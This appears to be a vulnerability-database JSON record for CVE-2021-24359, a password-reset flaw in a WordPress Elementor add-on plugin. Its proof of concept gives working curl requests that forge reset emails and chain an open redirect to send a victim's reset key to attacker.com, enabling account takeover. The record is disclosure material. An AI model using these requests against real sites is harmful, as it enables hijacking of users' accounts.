The plugin did not properly check that a user requesting a password reset was the legitimate user, allowing an attacker to send an arbitrary reset password email to a registered user on behalf of the WordPress site. Such issue could be chained with an open redirect (https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d) in version below 4.1.10, to include a crafted password reset link in the email, which would lead to an account takeover.
{"id": "WPEX-ID:486B82D1-30D4-44D2-9542-F33E3F149E92", "type": "wpexploit", "bulletinFamily": "exploit", "title": "The Plus Addons for Elementor Page Builder < 4.1.11 - Arbitrary Reset Pwd Email Sending", "description": "The plugin did not properly check that a user requesting a password reset was the legitimate user, allowing an attacker to send an arbitrary reset password email to a registered user on behalf of the WordPress site. Such issue could be chained with an open redirect (https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d) in version below 4.1.10, to include a crafted password reset link in the email, which would lead to an account takeover. \n", "published": "2021-05-31T00:00:00", "modified": "2021-05-31T07:02:10", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, "href": "", "reporter": "wpvulndb", "references": ["https://theplusaddons.com/changelog/"], "cvelist": ["CVE-2021-24359"], "immutableFields": [], "lastseen": "2021-09-14T23:41:52", "viewCount": 110, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-24359"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:486B82D1-30D4-44D2-9542-F33E3F149E92"]}], "rev": 4}, "score": {"value": 5.0, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-24359"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:486B82D1-30D4-44D2-9542-F33E3F149E92"]}]}, "exploitation": null, "vulnersScore": 5.0}, "sourceData": "The vulnerable code leading to the issue is inside the function \"theplus_ajax_forgot_password_ajax\" in \"theplus_elementor_addon/includes/plus_addon.php\". \r\n\r\nTo be exploitable, the widget 'WP Login & Register' should be activated and present on a page of the wordpress site\r\n\r\nFirst, you should go to the page where the widget is present and open the developer console to get the nonce called \"tp_user_lost_password_nonce\". \r\n\r\nOnce you get the nonce, you can exploit the function with the following request: \r\ncurl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user_login=john&f_p_opt=f_p_frontend&nonce=nonce_you_got&tceol[tp_cst_email_lost_opt]=yes&tceol[tp_cst_email_lost_subject]=Hey&tceol[tp_cst_email_lost_message]=Hello from my wordpress site'\r\n\r\nwhere john is a registered user on the wordpress site. John will received an email with Subject 'Hey' and body 'Hello from my wordpress site'\r\n\r\nIf we include \u2018[tplr_link]\u2019 in the email body, it will be replaced by a password reset link, for example:\r\n\r\ncurl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user_login=john&f_p_opt=f_p_frontend&nonce=nonce_you_got&tceol[tp_cst_email_lost_opt]=yes&tceol[tp_cst_email_lost_subject]=Hey&tceol[tp_cst_email_lost_message]=Link : [tplr_link]'\r\n\r\nJohn will receive an email with subject 'Hey' and body 'Link : http://localhost/wordpress/wp-login.php?action=theplusrp&key=9aMCdd1ugxQc65dWot3i&redirecturl=&forgoturl=&login=john'\r\n\r\nIt is possible to chain this vulnerability with an open redirect reported separately, with the request :\r\n\r\ncurl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user_login=john&f_p_opt=f_p_frontend&nonce=nonce_you_got&tceol[tp_cst_email_lost_opt]=yes&tceol[tp_cst_email_lost_subject]=Hey&tceol[tp_cst_email_lost_message]=Hello, check our new post : [tplr_link]&resetpageurl=http://attacker.com&forgotpageurl=http://attacker.com'\r\n\r\nJohn will receive an email with body :\r\n'Hello, check our new post : http://localhost/wordpress/wp-login.php?action=theplusrp&key=9aMCdd1ugxQc65dWot3i&redirecturl=http://attacker.com&forgoturl=http://attacker.com&login=john'\r\n\r\nIf he clicks the link, he will be redirected to http://attacker.com/?login=john&key=9aMCdd1ugxQc65dWot3i&action=theplusrp\r\n\r\nSo the attacker gets the key to reset john password, he can do so by visiting the page where the widget is present with the parameters he got, for example : http://localhost/wordpress/hello-world/?action=theplusrp&login=john&key=9aMCdd1ugxQc65dWot3i", "generation": 0, "_state": {"dependencies": 1645874551}}
{"wpvulndb": [{"lastseen": "2021-09-14T23:41:52", "description": "The plugin did not properly check that a user requesting a password reset was the legitimate user, allowing an attacker to send an arbitrary reset password email to a registered user on behalf of the WordPress site. Such issue could be chained with an open redirect (https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d) in version below 4.1.10, to include a crafted password reset link in the email, which would lead to an account takeover. \n\n### PoC\n\nThe vulnerable code leading to the issue is inside the function \"theplus_ajax_forgot_password_ajax\" in \"theplus_elementor_addon/includes/plus_addon.php\". To be exploitable, the widget 'WP Login & Register' should be activated and present on a page of the wordpress site First, you should go to the page where the widget is present and open the developer console to get the nonce called \"tp_user_lost_password_nonce\". Once you get the nonce, you can exploit the function with the following request: curl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user;_login=john&f;_p_opt=f_p_frontend&nonce;=nonce_you_got&tceol;[tp_cst_email_lost_opt]=yes&tceol;[tp_cst_email_lost_subject]=Hey&tceol;[tp_cst_email_lost_message]=Hello from my wordpress site' where john is a registered user on the wordpress site. John will received an email with Subject 'Hey' and body 'Hello from my wordpress site' If we include \u2018[tplr_link]\u2019 in the email body, it will be replaced by a password reset link, for example: curl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user;_login=john&f;_p_opt=f_p_frontend&nonce;=nonce_you_got&tceol;[tp_cst_email_lost_opt]=yes&tceol;[tp_cst_email_lost_subject]=Hey&tceol;[tp_cst_email_lost_message]=Link : [tplr_link]' John will receive an email with subject 'Hey' and body 'Link : http://localhost/wordpress/wp-login.php?action=theplusrp&key;=9aMCdd1ugxQc65dWot3i&redirecturl;=&forgoturl;=&login;=john' It is possible to chain this vulnerability with an open redirect reported separately, with the request : curl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user;_login=john&f;_p_opt=f_p_frontend&nonce;=nonce_you_got&tceol;[tp_cst_email_lost_opt]=yes&tceol;[tp_cst_email_lost_subject]=Hey&tceol;[tp_cst_email_lost_message]=Hello, check our new post : [tplr_link]&resetpageurl;=http://attacker.com&forgotpageurl;=http://attacker.com' John will receive an email with body : 'Hello, check our new post : http://localhost/wordpress/wp-login.php?action=theplusrp&key;=9aMCdd1ugxQc65dWot3i&redirecturl;=http://attacker.com&forgoturl;=http://attacker.com&login;=john' If he clicks the link, he will be redirected to http://attacker.com/?login=john&key;=9aMCdd1ugxQc65dWot3i&action;=theplusrp So the attacker gets the key to reset john password, he can do so by visiting the page where the widget is present with the parameters he got, for example : http://localhost/wordpress/hello-world/?action=theplusrp&login;=john&key;=9aMCdd1ugxQc65dWot3i\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 5.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 1.4}, "published": "2021-05-31T00:00:00", "type": "wpvulndb", "title": "The Plus Addons for Elementor Page Builder < 4.1.11 - Arbitrary Reset Pwd Email Sending", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24359"], "modified": "2021-05-31T07:02:10", "id": "WPVDB-ID:486B82D1-30D4-44D2-9542-F33E3F149E92", "href": "https://wpscan.com/vulnerability/486b82d1-30d4-44d2-9542-f33e3f149e92", "sourceData": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "cve": [{"lastseen": "2022-03-23T14:52:57", "description": "The Plus Addons for Elementor Page Builder WordPress plugin before 4.1.11 did not properly check that a user requesting a password reset was the legitimate user, allowing an attacker to send an arbitrary reset password email to a registered user on behalf of the WordPress site. Such issue could be chained with an open redirect (CVE-2021-24358) in version below 4.1.10, to include a crafted password reset link in the email, which would lead to an account takeover.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-06-14T14:15:00", "type": "cve", "title": "CVE-2021-24359", "cwe": ["CWE-284"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24358", "CVE-2021-24359"], "modified": "2021-06-18T01:32:00", "cpe": [], "id": "CVE-2021-24359", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24359", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": []}]}